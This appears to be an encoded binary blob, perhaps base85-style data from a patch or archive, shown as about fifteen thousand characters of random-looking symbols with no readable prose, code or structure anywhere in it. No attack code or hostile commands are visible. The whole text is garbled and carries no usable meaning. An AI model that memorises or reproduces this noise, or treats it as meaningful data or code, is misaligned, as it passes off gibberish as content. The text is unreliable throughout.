zE1sJHbA)E-8>FWnP_KtqN9idu-a*$7)YD(_ECy`b!+t?}&64$qLdl#HFY6+?!yK0?T=5P=1C4=^3VYP)SPq$gb7fg7pknJWoNr zUGKw!^w9J1dN?{WY^!p?wZVEu;*5Lz8WE%iW&%8k_|MS$>1$pK)-wucydMAY>yjWn zqZJRWD?`SYaTqcK%ZFF(^{_AFqza>h^o&(J91R)52mguxfqLjgcsJs?w$BYupXFzfc%UL(sP;c;6FpdZPVc11?Fc0&cLq&Y}eOiN)IJCnoCGjo*3R2 zumQ_PI37!|5%y{~!t!+^9Gl(9QX4RuR|FwX1tD94kavTS&x4Skf)IP`X=zf&tA8rA zF-RMYv^Ge8jnpv+@2?o@8DyqL8XDw!jnp^D8jVyl$nzSBH^?@P#2Mssjf^u0y&{Io z3{nsFg<-ToI%;IBL567L5`*MwWQ0MuVt}EELHL}Up{YUW?KAW<$VQE{GYFslFAgd0S;UqEUZ1RK7pFw7vl17wIaNN0_7Fi2mGbTSB+S1?>;5Z(bYbT!Bv zjdU}}5{;x9WQ9h08sssJTx^hy8mVd!Y$2pVj6n`)B*P%sYC?rU2Eq28Dr6a?sYZqv zq?<`(N`hu=jBW; zoQx>KL>!nEQE|(9u-J3H-2D-FO1CJ*W8q1mk(z|FBE|BJS>9`hBc(QX0IGN_|FoE- z*JF>;+0FYdmODGZ);^t<;&G)lMM*J-OzYJ8^cx+iAGDO>aix{5r0ld7WmkVi?nVJy z(QE<;ipP~!4p8U13XYcD;7GO8Qi{iwR<4qw_s+0x@{=cI28O?eXeq_xN^2_4I%)0B zPI$nPxk^lvE9>M!3Cgn-em-!e2LNDaGSTYdX$4X@y_6H`bAQL`x|iS6VZa zl$}<3!*L5`Mu=%`)>4YcmDc61wBAo^eaewKrlk~*E3GS(lwF2iUsAfv7BVfouAzeB zaiv9X#ksB?r)R$7NVV2dipQ1Kl}d_fu|=JEyvoatRBtV%cwA}Ca;4Sgn{TT)QscCg z;&G*wr=(bhOzZ7>snZ>)A}ytOTxrdArSpGyN6pt&dLRVV%{XDnKN$VFarFdLv6`8aU zu?8P`a-YoH@>e_!GlJrAr8Nhr(>6}MF{YU#)mBR>9#>j(m6TnE<2TiP!;$K*r4)}V zt$D7rdVTy%fg?3VODP^#TJv3Loml?*t&Y^ST1xS_(z@D}*2rhu{^3a7tECi=E3E}e z%C4`3rg8T=QZH&L#p6or8dq9VXFi5~G<6rY-qliy$CcJUOj?LohYOM)k{Nsc`c6wJ z9#>kp)%2^cH6L}n){&~E4Y}fRrFET>vg_;dgqm|5sjgZ|@wn0|cBS>}lt1rqq%PA^ zipQ1KLRVTbzRjH+sYO~!@wn2u-j&v#>_>lgq}FLE#p6nAk&?3OYjDrp?T*wQEv0x| zX)Si8m3n;52uJECEv0x|X)RGw`n2`%+I^>Fh8(cfkZuKn;&G*Q15l@bRsa6Wt&Y@1 zT1xS_(z;Pe*=fC5Jnw#)HDVfrwUpvw(pk$O%`DIQl^H@njM^2Dvn z9H}?8l;UxvRq9HsO2d_xJ5pb2DaGST>lRm913SKZiz8)Ec_UuPygwpg^dDKP&}@*Zc|cro3DGXXQd-GSW77$S6a8b(u!)HIL48huB8-@ zE3G?BTFlJPtNN|K(6o)~wUpvh;+5bvHXwYx2ij@aHRTbDaGST>pmrAmtob*ZhGC3 zny94|k1MVFU1_a8R_}L5YJrwgJg&4JP*V1FC9S#cdq?VSEv0x|X+7vltK~O$B{@>h zYbnL!N^6yoLPXgpS&hJ7d$g3|aiz5yXPy2vxuCyKo>a>lA7aketNOjgyipQ1KBTC9{8wba~ z-`tTJtfdr>E3HSB6t9cn-KmY!!cA#R*HVhdmDXe6b;_{bn;$*xNG;M*ipQ1K<4Vdd z!wvVeU*||YprsU#E3LJzw5BzDzsQk#NlPgnS6b_ol-&;hXi;3-k@`SODIQl^Pq@-b z8t~4wj?_slrFdLvJ*lLk@SlM`fUIiZuWHr!U*5s>y3%?Is8fc`Pp#YUNVU*XipQ1K z(@M%etzo9VdTA-e<4WrpS6aL`ccjK@DaGST>)D{RB28KaT1xS_()y<>t&aVtz}dC? zSBaKVJg&6KloCr9cfEv0x|X+5u`>@uwS zeN1C{3e1%EXeq_xO6vtzS{%O|siRs-@wn1jucQ+HFZSL8zN#V(A3m3a5N;w#D1w!s zQ4uU@KoH9f^+tn40d*A(5ke6pF$oH;5e0Qu*|lKTwePwpwgs{GUe~p(-F2;N zUFCb8_nkAR+;fw->;C`W_x*P6Z|=-_=6&C(=bduSnc+X|r0c#v#N%=wP6$mPuC>C& z21l-Uk9_J`k88_bfMA3s5Z7%$vtq^khdttjN00EhDh-#=1me1#^s?3B+}`aJg;c;UiZq&?oYY>rulcG=aG83B<*=;c>lVxP&GU z*Pn%}nE$Xp?r_X*9@meCOK1XdttY*$uWJu)f6wFEq5y#~>tUg7d~1~(h{TEo$9Ln0 zR1fyJDh-#=1me0^xZHO5e7C{9J+4WHOK1XdZ4@ql+wi!KGF(Cvi0i&UT!(-0>yaMU zGQ%Y_fw=A$F1NmTFYB8RfSomlOK1XdJrIcN;vq-e*X{^RKP-xZW{bLKBGV;XqvF2h`v0as6PpgeDNzBZ0W?=>LzmJ+6MN z5E!8e#PujpeS?DSFc{aahD&GyaXltnZrix!suKR~+u^zmx3%b- zGk~4D4VTaa;(8_!*TpBTo#S!6V7P=P5ZAN9wKe}?&zQODP><^$hD&GyaXlA^>)Fj# zFYvf>ix3DSG=aFD2bvXg<2vN9XV-gNcmh;|x+T%LIa0yKy zu2%waow57y8jtG=!zDC?@hC)0W-7#N+zda0yKyuD=H2T7C0bn|WM0y%7i_G=aEY2dZyuGOp=!ULE6c4K!Rr z6Nu{#;d1Nilf7Fm^|-1Gm(T>_dQ-UEd+L{XJAK`BoEO)HhD&GyalO+)Tz@iLLKBGV-9TKA-ni&+FRmvHm(T>_ zdQZ6Ab~y5tQ_t16=>R+L87`p-#Pxn4F6tiGaJg;clpzPK@VJHm%WERM2fw=x2i0jljU)}6+ z%`;p=6Nu|$;c~|S)KMPSuMC&a1mgNfAg(u_zWz3k>r%rdG=aE25iY-u^0@9YTtX9w z>(fA7XAB(oOONYC!zDCBKJRfQ442RZ;`*m>F_=0kc~Nbx$90(D z5}H6`FxLSmEjVaKwRGh;yQPF|G#@&*BdUO z3B>hnAg;vqmt5^}J!rUuCJ@(mfw&5u8-J9?^_Jlhnm}CN3zyqAIL6MiZQ}>SB{YG! z{uPLeb0UvxKtBY+2u&caAAovoqiVrX7kOOehD&Gyas4PnOt|G=aGIvY|Ks`nr7gH$1Li87`p-#1#`Rw{27$@oKZjb(!H3 znm}CG9?KWkn*Bzd<8j?%xP&GUS5_b{&doipR}7cX1mfb}QeM8cdi8Q&3coU3LKBFq zyKuQ}gKJ-7Y}@F)If@lVXaaG`R|9qq+j{SacRa44hD&Ii-CDdiXL?9n*(%g|W7%71 zs@=@h7{f)HZUHXt?~@gCxmH&HZBq{I-RyjWdl%%F%D=rVx?c?_w!8 z(7LT`#48(Kj;)Vs)^XE6sXlQF{8QVCkVd4BX0T05bd`&Gi z3+A?Ar*l$yz?g-tZB0j;QzpD1>|)T?(zMt|j5A&8n&vKO!(kL2nFmf>*w%35{6=3G zPW<&<;WUfJmbL>M7R>h3jKzirZH-}c40b{A$8un!94zfc3qTGX_mIiHgJp?MZflvl zU^a6sY49#h0eC=K0ceoF01UFQdH!4!t)@SO1;mbZDKp3()5K$!d5

ewBL3^ayLVTs7 zKp-*IIKObgOdpK`0UB*nKAI`+F;`w(UJKLI)Ydh%`Z#zQkV&8>L{Jl;I4~%ImucaC z2_y(g7=w>;8(RFW%OHL>-=V0!Mkd>a22&O;r3_?gDKT0nE$=QqV@|`|1tq1v@^?ct#;6eGDa*(c6{0-l z8F`{Yl&2yiPgF>T0*I;y%_u`M6@tf=UJM>zdeS|<=&(!~^Z3%U#;^>T>$s(8HiI;o zG90AJ)B=K3Dl0vsK`NEi8C9l&iISCGL_w;w!gBkmw0pq@q_MdDRT_&8NMkV_S{jFo zrx(2&l3v_yNO}>wA?d~HhA2;^@8)qslqV`gd4^@=i3-V30A5q}>wAs{8Iq|GJTCtY zrwRA?{QAWU(`-eDWhy`~K7Y&fWM(Qvk1xF#y>zA*m&X?!mR6W%=#$o(Ts*xX-H`Ow z%+#b0q$mk+GZ2GlsOHYatTiccyWbWMF!mv zN?}_0cyUDrr4@y{f{>i2RaYY6xm;Y7_aYY7Y zDhk_@yk=p<*~aI;iM+6krD6FZ@@!*^4$D{|mM@}2Yezdr_th99a@ZrV9<>kZ6sw8N7 zeCDr4I1PW=Yx-#u@Cl|_wDxZ?M~II|t`9G4#|zyh^2vtHIiZK++!UfqIEADA3;Co? zzz)Upka>J20)rKJCsA0J2-9(a-+jf0bTo;=(lojR@Z%uswl2uqU}z|dM&$Xn!XtJA z>_*VJuaF>HPH|z~bpLiRq`MUbvlcH_xDSj514|Slzae?2A%oxHF~BK&hXE#&y!DXx zAZSk8TIo8H*MD1lc05q&I+FJ`Xs*~^>2`z@l|H_jP`m@S#~=X=>pLpH(@`PYf#y^u z42Ic>lD7eP%g*?)dkCpA=eHP7W)_2H^=?W>@+f)Tf$vp{}Nl|F7bKOQvu?xS?JK722KGKA^dBSD{Mq}_`$^)Nm} z9i6}jWw11C2SOK;$9U!^9A_ykjirl_cUi)5ZiJ<=bP@6%OW=SCSQ<+gA+K9CHg%OkByShUTMC++4P6Y^nab}D&^%!1Y(7Hrn7+3S4ZLD9 z$@`LYqm?F;yuJwD*3c+r=Jb_=ZtpJ0o7P2n&7eD>6L~DZ--6}=Ll?t!ru;qyn!j`+ zkL~X}L(^G)dyhfcz|v$YKg!z^G*iNK5$&Y~G$)1WBI@@-&|Dv;i;(vSXkG}@`5t^T z-4Da!*?PbvBKk{oMb6!017s-YL|T7Ix+kLOeA~uSN(t=ipvxM^D}8h>`Y(d6KWIip z(@jxse5M7@Btzq3GCuGGTlc6taqf(krq-reZN-BR+_`vCbKBgb=N^wI+{GNS z&Yh2k@{->Bx^e&2+@kG~-i3HrKfJQO4c~y|78M(y3fEiW`b;PXj)^BW9(`nEOI=IT zjK-M@@$hkLgq>uzP%tK27%-_46IwgvMoqX2`6SOhP3iVL?bqg z({k{VHGY1>>{gM}j85{{hWhz)TiYZmUX$*i>RLjZfwfsv%MxS}7n{V5Zfcq@BHA=u z%7p|>8tb5JI5-LcbVu6inU?v?AVs<|rdHV)7->xvHk*woSS>}y)7a9opb0`)(!o-x zm*l%8H@U3=@0*CUe+4Q;-Wzc1K;lH5Fp;*7{n; zDwCBLY!K4W3RocZGg{i*Qfbx~Oj?~U!TS;{?ogb|w%5z$?_}Ne)~{BaSo8h5J>Tfd zJqU?kvZ&XJ@;xS1-2T9T$r~S@fZ^;a!Lz4rzwweQwy#?~YRI(*UHJtzGBhO6@MQrmLDH(dJteS4oc z?$ZzVeP`rrPkz4zzFrjk&vhe4jX6C2L$_hC?cM#p%Z`Hz!+lp6d*#WMzkH=`-|zEg z{&SC#p|8A)E=%yHQ$D}*tmcJdroFt+TW`&su}Dup9E>#4bVJ1?;a0K`FT9XSXyQT|6GjqqTVOqN?FLPdgY7<(rOcE#7Z# zTkEv4(rGmdX3SqWvk~6iN_Q(8Sz5`nOctWPrnSoJHM`CE&n58~6t)1}5v#scWp;j~ zN>m=_n)K?4DsFav#zY?X^X0p>ZRXsjpR)jwwx3y|2&|vcv|!fU**{~o=pxJ9)}{pz z3iBB(rw%zzZP8|?{S)_0N+up`{xq(O+al6b0nLMrIYT4Df4VFtDdz0zB$rPs$xSYA zD=9oUx#aJ~)dg!mO}2lRY=1eq?3u;mk}Ko|#`hWJvh|CalI>GU>JZYFpKO2BMSqdJ z-6ScM9Q93GUb6kc^y+ozS3 zCfnOes*+3YE3V%-2=VlS&6e$Phl`KXLG{gpk42vCG+XRf*0&lyPDQiv)9S%@-WZ!q z2viPNFA88Ug6&~LQtScr{U3e8H@0!cWYFzh^dV?sj^02>T6IwkDiA6aX1QGNYb$gM zT<U)hS>qv*^;fVC0orc zjkD%15+WwELWmAVH@FwDaYd7W4Hk@lF*NnDMRo9Pf!J?GCy0(xI_mn;$`QlMODig? zB%v%-UEA1PL>GY-<7Ak*7^hC^3VTAxv;SRojy2d2SR#yFb3Y8%*I9OCV%23{4TkKMcU1_mL zEcS%OUa{C;Ew;&Gd>LHh=wp0&PJfG4S!_>>)mdzc#g|ZT#KD=v3o6s5;Jrh zx@q2CuviRziDEb>&(IZFte?da78`4^I*ak_K26J>q9sA) z=G1Bz!!Brg?edu=htvYCtHouqcKHbl@>G00u3+sq2#t?z|G2u~ocl>T^qs+#ssl0*NI-1Klw)?>Bp_us+Bskv>RP*t;{ zwq#Q>>;8RL^c|YadZ@Pj0UK1i{I~(59~fJ@$+;avY^N4oT(Y*E`EExEu*aL8#O0i1 zyB1e%J4+(HIC~<#HL%&T&-)nhO~gNoI9pC5A0fW2(KyD5Zv=e23A3FO;Zu%mTz>{T zU#d6QA+kww4A2Ib+Dc7Shd4F5L-abptwiCngWF1^%){rgF?0!g%cLs0Q%qrAUtP3c z3@Si)ZpHyKJ31}UJHNx{5*>DsUWfRdM0^N@@LLw1!8icwquQsgIYY_szEw`I{O&vC zbj$A%&(A5&$)tOF()T$o1C2dUR%YX){z}25A0F- zH~@hIB+5DH)T@gQu=%(XwLTEXFKT!DsTAyy3un#3k_WrdVlZukg5iW6d*Mq!{c$aG z+ZyZ5Y*M;X4mMb==ul&ugM3gS{W?gfZ)<3ojgJ-BOHtSSkwMPyQJGraxlYrpS*?w2 zDptt$2N}P_;GWUFoiRl^4uPU33A*V1~dfY?fr|` z^EL}j+TR$j=VjZ7J9|hcI|&uYZZZXiv|jjhfZN0Rd*PM1E*31*3$tJ47k&v?*YIAW zp;E0BA08{B<@0vA4(<+cZ-tvM*Ssfr&CZcSTkRa_)6P+`MiUx$jk;qSCFl z*p(LJLrtZ7#bWFT75mU)|FGEMNR!HIFuu6MW}w(H7Q5SG8!YyY#XhiDKDr_0Ei}Hk zQ*1G=P-t2zEmmc*28(eIbER8uG45He*bNrr$;FDjWHIhZuGsq)<4GurrJytE%X5|* z-~T$t|6g{F*{I$LP2e_}6JjP}fGpA<7g6Svd4#F>ESHWEZ_guKYg?k>{o8UrT>K(Wj!(|t<1};1CE8ueObv4{# zxW9)x3NB`)DUON2n_}n4_}DonV6}6kFD{#~D>fU~inSVFo`aQdgPm`&-&qWC8hO`Q z>^6(tX)%uV6R>&C-!1ly#r|cnu}EhES9wm-_~H(a2~n)sVw@2w#u*`fap!7_VR&FL z%(@NTpDp&j#r|$FcBd+j$FQk9cA|>06IHCW|(C55$^ z8V;ykURzQ;8FR+c+IFl8Vs-K1f~9L6OazxbQ?Qh)3CZ>Yia7}!%z0W}5>vn8+V&@s z?TZH_+iR+lLtn%!E4k_3WR{(VHMZ|pJoL%rjHgCzIC-1oitIg-%f}3m`4lHmgOivu z6=U77^stS|_A!w1XmZm-$*iYj5{6maE6MiB8pVDPKY0M;*S3!>Nd_WWe3Qt+Lsd>^ ztw5dLitK}tcCO@RW5G_3TF7?pvY0!y`XkCc+ddlCP-pdrBP4MMP^WmqKF zg_v8o(*R6qkj&~LP9Dcg=n52P4zNSz@E6WLI0>UmO<5{5X@6Kxqh3oOATW9-$Xv0Q zCdEuK$;uap=oi4chIK{*Lg!5J;c+O2;H-pW%}_iAmt}D(+r2I!$>$wOBSPM=@>-pz-ctv7Ie8%wi)gHrZnA zW0m(Ii#=vB^SEMuNg;K`0QZ^2XLxS$e&**E3;DF+knnSh`i`Gll%`H7sdLhvTT z)e`EemGhu#!;dgFfP!k}df1+s)k?B)Q3sDOwgWT!=b$p#4%Zz$!Wby@yh#TN|D_$T z&}u=B--6NsU{d7HfjcPF@S!yN$^t01XrxbMMbZGQllJQ%u3_wfl_ z4wgTMy8`Z)a9OQi!KF(78tyJ|*@m@SpiftX6l*l0x+0_)SA>*qmGR{{Yypa0YOyOV z_K3xvu-GdWV+WbKRr*1I!YaKxNsVz|puyB8{8Sn$z0*bb?zne4T5#|3qI&m?D%w-Y-O=oHh1|WR z-CTs+eRW{Qt}pEtE(EwetbbXRJwUNwp=DLx!VJ(r?-tg_n7l0q!@9;TSJac~h~#Cc z6vLl0x6vs0^){kUZzIKc8!2{*@#V>pC5mBADxrDKjh2o#it;{VvH7TP#W>ef-m#}+ zwj`6MsRvb0!K^8PhgEMR+doXUf5yjaz1;anqI%j9hvT8zw36nU_P=n_gt5kA%(i6q zw79r-=q7^GCyx48YyaemgYh`(+4m8(vuu6A=|>{I+V=00%RXLsW$)k4_bv*?eN!;d8C!7A*P~bD z{|SJTeD>o+>Yak6uP!_wvGn7%#fgHo57v(Q=C}dLf_q+M;<64JV6(Ig41A6@y=K$n zwOI?Q#*KRSq%AQv{EMVAG351{_Q!vG6oa&l!cwsI+2jgo1V3(s+{ZEETjaFG3)U`W zK{y}fy1vn;XAeoFK8Y=g%VW6@4nq$3IBq&5;nALCJCJ2Q(HqQ^;Pn-$6x0wO;&DQ% zm39Oopt|?Z8=2v8f|Vfw8cM~d*aG-2kx)J{{vCW-&I)IX?71f|Hz2MP%;^)4R?zM8>Ibv0N{Z+^`}(mg_!p&9V4_lDk|fg={K) zxqiVp5J;OdND@pPhc|^AkH&^Ic-KdGIT_Ls;5o72Y?#HsS^n=uQjSn_;GGaDe~@dY zbhLzLnQ*t9*$a#=nhx3ng#O%E7e=y23Td8Xg73Y!C6|X{I2PSm7ewexKUd0;A}$k= zqhtM@J~5VKvs}-W)Q&^SS4--57W#3hEG@UEoz*xgvpZi}mQ{#*t@y zafgROS4+HGS!^eZ4Yk+^i;c3_krta}u@;LRYq2XWcCE$!WU+M?d){I%TkIW+ePFS^ z=;JiaTy>@|?vz+;u*Dv;*i#lW9sWiDGQsiQ2VDwebm$3RE-)I7QF02!i@){t`fh){ zzD(SVT^ZYE)i>e$m8J!)GIez+gKjaj$ktB2yzinR_5A1sOp~#bWdk;mbf2)4`WTsp zYhan;5`!O#;Xl38;4*E8!{yzTs=QOMJ4TqX$G(-7;IgxMA9;B>M}^2w^$EvhXf({#6UvxAHz$~3fF}HNK0Gb5K!nCNC02%5K#9SiCo zLx6G|1k}sP$f7ZTX(oU{Cs^{HXsM#|&-!C;=Wn|gcXv|7z%GHyY+V7DZFe77ZM*cv zaZJ679cFxShdN&AxT3CfXIbnVi*Zb>beCCdy~Xac*i#mJ&SGC!>}!jmmo@Tw7+;({ zqQQ2y*gA``HEa4XlQeWMSuBQ!Zha5b+Vhv!c*K~6yF(vyWXWRiB*6w1;9aq{Y^VE7 znXou6SH7h!v_9T3%0;TvVOQad7tpH>4b>+;b4>ntkC>ZuOCS zv0y(>sqAOvtB>+e7A!U{?u`2~+u5_Nhf|3&vU<1lTAx2XuMUB77z$mQT3Ah?`Y2(U zV1xQ+JN@6rF>%l3;M(J28&KLp>tlOXF5ab&;VyDbl>BxCdhLxIG;D8P8q}8$OyyFh zJK837l-yOovmERjQdWwu8A>Zlhm{U59Z_0UIAD~s1S5{P3Rt~Ei zUOA$&s&eG8(qU!8%7;}9s~k3L*zjQ^hE)w4IlOdu+3@n=6~nnZ$?)MLutUkn5v3!_ zMwE}J7*RQ5*ofgHMvSN$F|w+(s;sKKs-mj0YFO3qsu5LHRU=0ti6asHNQfQ@wvm9G z(z5c3%3;GtRE?}2J!b5<@jjs8$Qd&mXGxKDF@b9j~y$xKC#M^ zr!uVGcqe?5r}7qLmG**FKKhjJc&A^#ODCkxe)8*0`z3kNy;l!&?-0k@bhwM3gRjTmp73aKq!>^vpsoAM`dfzK{oL_vZdtLJ3ws+^< z^z3hVYH|M{!iKYGf)#vMKL@m@!a96!7Grm|kUJh}Y&$K31P^LHG3cAu|4 z&FwjJ-6tPp{bIA12Y$U}y#Jub27PwX>>)GndG*fJIiH?Ye(3ujy|mNQUmShHpy@vz zTy(+Wd-vUO-PsrKv&Au!y1#nc-`mb=8U5$o-(Nkt;+gNOzq@$SufF~MsOcAH54g17 zmX96(!DYu5Z#(v|wr?(({K?0gwmJLcZO5&9EAPW=>TYe={=_?f+2{U(y&J#!(=&y; z|Km4*czapHGd=2i5C8b8@3!Bo;``gTc=68fcdXxX=^bzOnfCO4R~_v9VMBcJ?mHhe zZ}^NSpL#C7{PNj%pYg{tK76%ezdQT9`@pqJ*6;GpsB0&#e`NSE6R*2^>Zk?J+%R#% zkiG7`Y`Ya<{-a*H{*uQBHU4@;_PcF8u6p3C8@{aCef99e?tSgM9dEhflmm{Ram3i} z=l*HckUjr;?aT9~f3;oX!3}pEHnl9PU)HptXB>0clg*Db%sFrAnd8pb^XY<32NvXB zvmtNnTl>vA@xB{>x!|d@_qSR&F$15A?>2Yl1ufaJO`CX=CT2C_6g9d_6ceQsC|JFl!*F)DHhd^81Va;Q$TVyszm-+1MHJEY6$Ei~tWfH|ZoN|VzE zDDnjw)=Iz0n^mOCp}qwT(z6GAG=0+KZ~~VVqYS3!*}5&NwYB)`i+w>>>>>PXx6Q9Z zm;-l<#me{Q-QmM%`0@Rf6akptKcZ5^jrBn|gG-iy; zRUJU|YjHmf5PYKHM@nk|daUtyd6NjLb%rYq+7| z9j7#CN@Cc?asnrqYym`D3kfcdUH63EDZKiH$(PUsPB7tQ**h)e#L15@^SBlnE};p; zMP22cZnI{o)_0z!zDCX=7%5shXBo4;e0@ z3B<)-!fPAXPRL*DadF9!MrZ)~y-SnO#ncR(RDfw%?>mz%F%clOHixcaaw zf)ScPTss5JiuvoyJB^5ooisudh>N|AmoL_r$2G=q2~8lbp~B_%c*hhxcZK#2jHAJD z2~8j_rp=4%-9-nV>T#tEm(T>_+SSHIlE;33$KO1ziw&311mfB)5Lf-d_dVxv-D9|f zCJ@)|!sXsy@pGI}9@k$Dm(T>_Dh6HP^ zial(??)q)wO}GDWoT=cVAx)5rdOAxtXM!)g@uW2#*K)%}njjbTw8!C9br`_ibb~ER9Cbe>ZZbAXwgE%!;Mx4Vc}08(57% zNLK82DyV?@45`~^pZYP0`qHwAHRC6YuAZ=OVxN*RwFwLFJE?kNZE{jwVxN%-C;VoN z4=~$;hAGTyXBfst4^w^2zTF?fl=AXT1UMO+0m=4A(GLsi>*pTbTwiYjF_AgCX+iz5 zt!8!GTjvf-X2S5SJ`6Jzfa~igOinf|n29a4#>{D)F%Lj%1U`#0JAP{>&8Sa{TBqW9lZ^AndFf5iRc}o#+I%x9Q>%nkH6eaI^;Qs>6HSGCdI+Ax6XcA_I zmPsC`p`|0SJsd1eCVAf=;P0S$drzg~lp-p9oD3E2jkh#lX;|)2`TYj?FwpGEM^!MK z)JMsC8u(n$?2&*6CR6%yQ6Kv!9Os}hLMBs#D0zJm{QI%k69$$hQ~JI{*h8SXYn+f} zOy6Pze*>Ch#w%T>^pzrD8EF2LR5~taM5S*O@KrS!p2E^(O5b_}ya1Zt?5A{GK8ljZ z{BBo^K@coWCV7@s}qT1hGsE=Z-<@{xe(q(GTY=5~2;aMXrO(uQ7Zx3S! z>ags{Gyre)wV7&3Bs8Ws=8tNoIlOta_#6azT{5>w#Z29WVMdC|#!ZNBuGj zG#}1Tx=i}uIRw8l6N`e4N|z~p)PFC4=7_mUmr4KSA-LN-rE&kG>LVBRyBX;E%~z^S z?T_*r4NYhAnnAbd=+5OmWN12*_bljMUC^<-_Ygd^32(hND_y4YOCVqm&>Y{Ubfs{j z>UTTfhaQWqFJWm=Op)z59|6At%{j*jSw?-u`{N1F{CSbmWlG;t)bD$snRkNH4Tcky zKHNgi_a{2e#FLaRQ~To*WCLhcovd{E8RRtp@0r5x{IE2c^7}6Yw59NN$f-gmkM*L` zcRYftmN?EIU}-X?uNVOjfacw0N=LmEC6DR5@mE+>KTYW}rSBUAYyq00z--VgIkRJVJrTU$3hasvOOq*mZy@Xl(CmE{sWSJ!vk-PXXx=b%ndI>y zz=xoDVx@?~TdvXNHxc-$tFTivEKMePD-rNAXy%@)beY-X4q<_%hX<;L+}rvdHT0Xm+5|^KK&Lnr(CRbR-Z=f zQoh3)rE&i=?aDq3bk&9y;*npR!V!|ka;-Ns@QTSKZ{8X##KO{KlE-rR^%`s+1WRM- zWGbZ?{~7OtYw)lKmd4VB(#LxGYz^AUrKIxFMaUZnnxSF3kUaJ)HHJn6;xAKv4*=ca zoycQ;e+ini!*mhpy8$%o!gQhZv0r`>G@pd&BIIp$8FUORO{Vf=Igc%w%Q{8HY-pm{A!7a{L^(Db-mbCD^(l(z$DMuzDk7Sf z$g2U()G%FyyjIYh7N(1kcO__U3Dbq-u|A#z&Ff*h2zft%rsq|X4KE)N@^%8vh%jA* zys4mR2-8K#I~g=*hv_2Z-2j?(VY-k!wwD(Tjpih?et8{qA9W&+_1p7m%%fmwI;!7M zpqUV+3#E_p8bPx-Oc#;g^FecYm@Y!z2GBeori+mG1!y*f=|b|@UbeXg>maZ+9p!gF z&>S45i;%YvG|R$t5$U@eG&hCmBIG>|n%BZ~5%RtVO^<6s`3T9&Meq)WMkzD5mt8?O zvJ-i%--AIjFH9GazU83#b(k)cKFa$eXdVpHMaX*xG@pg(BIFhP9-nE!(sWe6)u5Re zrVGhqdzlBCUxw)-(zhBkSBB{#aE?)zFAQ{AKEoP6l0jC-PXo*MjEmFkM7`Uj@y3VY*QISRdW5$GQb9O-K2y0L?yO zx{y5HABP(n5s1G``E3N%b{FNH54y{{Aa6q#9i!RFh9&|l!&{DDG z98rEd7@E$?Z&%Qb?1H?5yC|<7bn`lq$M&}zG#7>GBHG`bpm{J%7s@Z?y#tzW!*mhy z`rimW1WVIV`BfVlrOe#^YCt!&6M6X%(%MCNCxfoN6M1s~g68fpT||Cg11ZUK>TI8f9Ha3VJGsK-*Z88b(k(9efNXr=`dX= zea!DCpxG3ri;%a?&3MrVmd2J#NFMV$!O#dH{xaovGU)0%k;nX=2%1%4x`_1M1e!a; zbfNT7-pio*I7}BIFYgx2EnsOf<(K+-n4u9u{AJ4TUZAV#L>|j;b{FNfg6`x_CNm@ZU)g^>3HXg2!;JTSIgBIFGP&4@5vNFK{?s-Y2q_{&s&hl6fz zC-PXor-9~oVY-O)tpm;dVY*QIDDQ8e`8rG&A+O&b@i`+bjV+guJeJ=+pqUh=i;#CT zXcmX*Lh@L@=Y!^^FkOVa$3gRQm@Xub_3^c#fmckX`q%`zyjztfQ+`=~JA-DgFkM9Y z4g<~XFkL8peIaidXjX^mBIMl$nvG$)kUZAMo1pnDOcx=q;7>R)0G1|Gepw$QL32Qu zE<#=tXnq-{3#E_svD(luUYbnxaVh9-=tN#$@IMNg*TZxX>H7gRJ=aQ<8S_hdJAr0Y zm@Y!zFF?~6rVHhl^|1sr=Z5JbZJ2w*(%AY9o#L5| zuu+Ca2=OQN5ka?47wN`C(dkQ#Q`|UG@JtBP@%nuC4#4)R{6Q$>8DkWLIj1e^wTQ2flAbAmG20iZ28++*KS%+ zv1rz1SCxEQfaM}?ZBiJEKE?8M#7*-A^x{gmd`sj><39@ir;NWD{-=%qSoohc{#Ee5 zVEhll|ElrFk(R$0KR;`I&G@l-j`O3FiYYknYQ@~#Wc%aq19Z4M;W7#3(T@nNORi`|=o2P%(Jbz2C|m2* zB}Za^!(_o|{8zl1T(+q#v9fjrHm6CpKkJEGR7z})U{=W1No@B%C%I{3!CJ@$OL1;; z)axx9ZiimL28R*> zE=q#<8eZcgV)w`|60JcEf=Kf^2VOVUF61>uR&zZ7zkBL}{CF<6Z+4H+N(gJ(AGRQJw`nFL8`A)@!w}o^q?o@wyE`ef{o-g#ZNKhj zSpEoj&#Z*)4qFLJ^EY&mY~ydk-3a#`xDT7_C(QLOaIb>Z4Tk88<8E-V8O9fPmRjs| zi}6lY-U}_ps#ENGi*1c6RjkE zB=n)CrPlb&xmi%$a)e}_t8B4pKD&TYZup-}F4>U#J`#>DV$nQqT9$y)ABj_fkDWYA z^gh%z_H>Vj}S`O7yIlt^m5)Ke?n@K@XOZ`T!3vqp@><7<2hy6{*yT`k`#jCP0Wm^Q@R0?t1 z!$JdTx#`imOticEv~QoYH4?f0u|8MAQhBQ?#hO(&RZDnhG}R0Ews8Bvt%AD+-0k2> zjBpdU-VyFpxY&I$MTLY-$mQG+Y(XwNcrjtkU9Cg);Qj<7?iTXve6z? z9^W!oy1^FP#bT2!cCf`}SZub%_^zwUd*5PmE^XIU$h3e885^xa%6Z~PX>!GAst{2X zt=&^q&PRC#YYS3u_DFrub7`*VjO3_STJABLAxdYcHu<-820I$+464mf3h^h#uQL`b z{;4|SGSL|;qICwxiK;UW#P{i8ossIw4I8a94#s^_hCSDUL#Uw6XvFy#o#~AET}eV% zXYkhH2><`O&R~6pbq4lUm7&a@aH%u)hD)7s2wdt6bj_kO#=uSB8XdIgj0te(;JOCx zJh&6#9u0RATrN!1!CeHGe5b-a7%uN`%H^QuK)7sIyk?zol&m^~KGhkDQD-Q|p{`=o z8H!P+V$>OmQD-PdouL?YhGNtiioIbm>I}uGGn9@xLow?I%+|dJx9Qtg* z+E~GLPn{mST_%kfAmFqy?9lIxUT{5Xi6C%-I#lK~N*JU^C4znGlZLWgq~bd*n0YI|S9CX0bB}^Q(crc_>%R z^1IjN;@swsa?BLCj zDt8K}ZYzU31}?sNOx3}yfXnd@ucw>qMswY4u778)siUYrRY%bmm*oV-8cb;1ImOZ~ zv)DxzyVPQQZAW=;vDo7ld)i{##$3AXj4#f78D8vpE^zH6ALYnwYGd+2aAVaCv#1Z~=?_cw?`?w3 z0v;ApBwGQa*&Oy=v==o#MKWf7V?#^29-$uarYoDX8!2M^UqA+1s4FStV&Q--G8b^5 zMas~d4K3+oVA@u~Qqk>c@Y~RU=*2!FsqS#^fXjx6bAVELaPNlO8}2=DcY({nvNk08 